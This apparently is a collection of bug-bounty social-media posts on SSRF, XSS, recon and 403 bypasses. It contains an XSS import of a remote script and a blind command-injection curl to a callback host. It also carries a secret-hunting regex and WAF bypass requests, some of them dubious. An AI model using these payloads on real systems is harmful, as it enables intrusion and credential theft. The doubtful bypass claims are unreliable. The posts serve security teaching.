r3tn4

[YesWeHack ⠵ @yeswehack]

PDF export features run a full browser engine server-side. Inject HTML into a headless renderer and it fetches cloud creds or reads local files from inside the network! 🖨️

Our SSRF guide covers it all 👇
https://t.co/YHoZatQE10

[KNOXSS @KN0X55]

XSS PoC Styles

- Noob
alert(1)

- Bug Hunter
alert(document.domain)

- WAF Ninja
d=document,b='`',d['loca'%2B'tion']='javascrip'%2B't%26colon;aler'%2B't'%2Bb%2Bd.domain%2Bb

- Red Teamer
import('//domain.tld/xss2rce.js')

- KNOXSS

[Het Mehta @hetmehtaa]

Link: https://t.co/yWs79qudYU

[DarkShadow @darkshadow2bd]

?url= ❌SSRF, ✅RCE
if you find a parameter which passing url then, before testing SSRF try to test RCE.

1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${ IFS }burp-collab-link;#

Join my BugBounty telegram channel: https://t.co/k00oXcRJsi

[Brut 🇮🇳 @wtf_yodhha]

🌐A complete Web Application Bug Bounty Methodology — 59 pages, 20 chapters, real techniques I actually use. Covers everything from recon to JWT attacks, SSRF, XSS, file upload RCE, HTTP smuggling, reporting and more.

▶️ https://t.co/OWquG73Ei9

#bugbounty #bugbountytips

[Aditya @ADITYASHENDE17]

Recon Smarter: Finding Sensitive Files in Large URL Lists
Most bug hunters stop at URLs.
Real impact comes from what those URLs expose.
This workflow combines:
• high-risk file extensions
• real-world secret patterns
• automated URL discovery
Result → fewer URLs, higher signal, better findings.

Step 1: Asset discovery
subfinder -d https://t.co/L5yl0Td0lI | httpx -mc 200,401,403,404 | tee domains.txt

Step 2 URL extraction
cat domains.txt | katana | tee urls.txt

Step 3: Smart grep (FILES + SECRETS)
We combine:
• Sensitive file extensions
• High-signal secret regex

cat urls.txt | grep -aiE "\.(zip|rar|tar|gz|config|log|bak|backup|java|old|xlsx|json|pdf|doc|docx|pptx|csv|htaccess|7z)$|(?i)(?:(?:access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_.,-]{0,25})[:<>=|]{1,2}.{0,5}['\"]([0-9A-Za-z\-_=]{8,64})['\"]"

#bugbounty
#recon
#infosec
#cybersecurity
#pentesting
#websecurity
#hacking

[Mohamed Ahmed @mooo_sec]

How I accessed a Grafana admin panel during my recon process:

• Chose a target with all assets in scope
• Used Shodan (SSL search) and Google dorking ("Copyright © target") to discover related domains outside the main domain

[Intigriti @intigriti]

Web cache vulnerabilities can lead to mass XSS, credential theft, and DoS, affecting thousands of users at once 🤠

But manually testing cache behavior across different layers is time-consuming... 😓

Web-Cache-Vulnerability-Scanner by @Hackmanit automates the detection of cache poisoning, cache deception, and DoS vectors across your web infrastructure.

Check it out! 👇
🔗 https://t.co/H85vSyOJNt

[Intigriti @intigriti]

We just dove into our shelf of archived bug bounty write-ups from the most notable hackers! 🤠

In this issue, we selected 5 compelling articles (that are still relevant today) to share with you, from which you can learn something new! 😎

🧵 👇

[Intigriti @intigriti]

1️⃣ Using a GitHub App to Escalate to an Organization Owner for a $10,000 Bounty

@itscachemoney discovered a critical privilege escalation vulnerability in GitHub Apps. By exploiting improper permission checks, he could escalate from a basic app to full organization owner access, demoing the risks of overly permissive OAuth scopes.

https://t.co/KU4ZWkhzPf

[Intigriti @intigriti]

3️⃣ Into the Borg: SSRF Inside Google Production Network

@opnsec found an SSRF vulnerability that allowed access to Google's internal Borg cluster management system, revealing infrastructure details including CPU usage, RAM allocation, and active services (Gmail, Ads, Video encoding).

https://t.co/F4JzHbrxD0

[👑 OFJAAAH 👑 @ofjaaah]

WooooW New Oneliners 😎

https://t.co/WXQZxQgSK2

#bugbounty #recon #BugBountyHunter #Bugbountytips

[Behi @Behi_Sec]

Bug Bounty Tool:

x8 is a parameter discovery tool designed to identify hidden parameters.

I haven't used it much yet, but it seems like an advanced alternative to Arjun.
https://t.co/e6FEfdkeYB

[bugcrowd @Bugcrowd]

Stop manual hunting and start automating.

This one-liner takes you from subdomains to leaked S3 buckets in seconds.👇

[the_IDORminator @the_IDORminator]

SSRF - Internet to Internal #CyberSecurity

Try to find the internal domains for targets using tools like https://t.co/A6gYm0vliU, shodan, censys, etc. Once you have some domains, blast them into any params you suspect may be susceptible. This one allowed total internal network access from internet.

As a side note, don't forget to check any JS files on your target for domains the files reference. Often times, the dev/uat/preprod environment paths are in there, as well as other internal paths (docker, kube, etc) as well as which cloud provider is being used (azure, aws, goog, etc). As you work longer on a single target, you really get to know it...

[X @TheMsterDoctor1]

🧠💥 99% of hackers QUIT when they see a 403…

But the 1%? They try this: 👇

I found a 403 Forbidden on /admin.

But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin

👇👇👇

⸻

🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)

Target running HTTP/2 or gRPC? Force downgrade:

PRI * HTTP/2.0
SM

GET /admin HTTP/1.1

🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.

⸻

🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining

Send pipelined requests where only 1st is parsed by WAF:

POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13

GET /admin

💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.

This is invisible to most WAFs.

⸻

🚪 3. Misconfigured Reverse Proxy Chain Escape

Proxy chain: Cloudflare → NGINX → Apache

Try:

GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin

Apache follows X-Accel-Redirect, bypasses upstream auth check.

💣 Real-world: Gained internal panel behind Cloudflare.

⸻

🔄 4. CRLF into Rewrite Bypass

Some edge WAFs parse until CRLF \r\n, others don’t.

Exploit it:

GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin

WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes

⸻

🔃 5. Multipart Boundary Injection Bypass (💀)

Used when /admin is only allowed for file uploads:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337

------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain

BOOM
------1337--

💣 If upload endpoint allows arbitrary path write → full override.

⸻

📡 6. Misrouted Mesh Bypass via Service Discovery

Kubernetes, Linkerd, Istio-style microservices expose internal routes:

Send:

Host: admin.internal.svc.cluster.local
X-Service-Router: admin

If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.

⸻

⚠️ 7. GraphQL-Injected 403 Bypass

If app has GraphQL and 403-protected admin, try:

query {
admin {
users {
password
}
}
}

GraphQL often proxies internal microservice calls.

Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.

⸻

🧠 8. Preconnect Overload → Bypass

Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.

After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin

🧨 Real bypass via persistent connection channeling

⸻

💻 9. Browser-Only Token Auth Bypass (via Headless Browser)

Some SPAs load tokens via JS → protect /admin based on localStorage.

WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.

🔥 Use puppeteer + exportAuth → replay:

curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D

⸻

🧪 10. Distributed Retry Amplification

When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:

Retry-After: 0
X-Retry-URL: /admin

WAF retries → skips deny logic → backend hits /admin.

This is logic poisoning — not brute force.

⸻

🚨 These Aren’t Payloads. They’re Logic Chains.

Most tools stop at:

/admin%2e
X-Forwarded-For: 127.0.0.1

You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing

⸻

💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request

⸻

Want a toolkit that automates:

This is next-level exploitation.
Use it right. 🧠💣

🛠 TOOLS to automate bypass:

•🔧 https://t.co/5yIqLjkvaS

•🔧 https://t.co/bbVde9Caoh

•🔧 https://t.co/W05Ly8nEB6

•🔧 https://t.co/Av6mKRCef2

•🔧 https://t.co/kndjPIOEix

[Tom Dörr @tom_doerr]

Crawl URLs to find secrets and endpoints

https://t.co/ntY43NWdsG

[👑 OFJAAAH 👑 @ofjaaah]

New Oneliners in my repo!

https://t.co/WXQZxQhqzA

#bugbounty #recon #bugbountytips

[Intigriti @intigriti]

Bugbounty_tools by @thedawgyg is a collection of small bug bounty tools to help you with recon and finding vulnerabilities such as XSS, SSRF and much more! 😎

Check out the repository on GitHub! 👇
🔗 https://t.co/OGMM6izBwf

[👑 OFJAAAH 👑 @ofjaaah]

New Oneliners created - 🥳

https://t.co/WXQZxQhqzA

#bugbounty #bugbountytips #recon #ofjaaah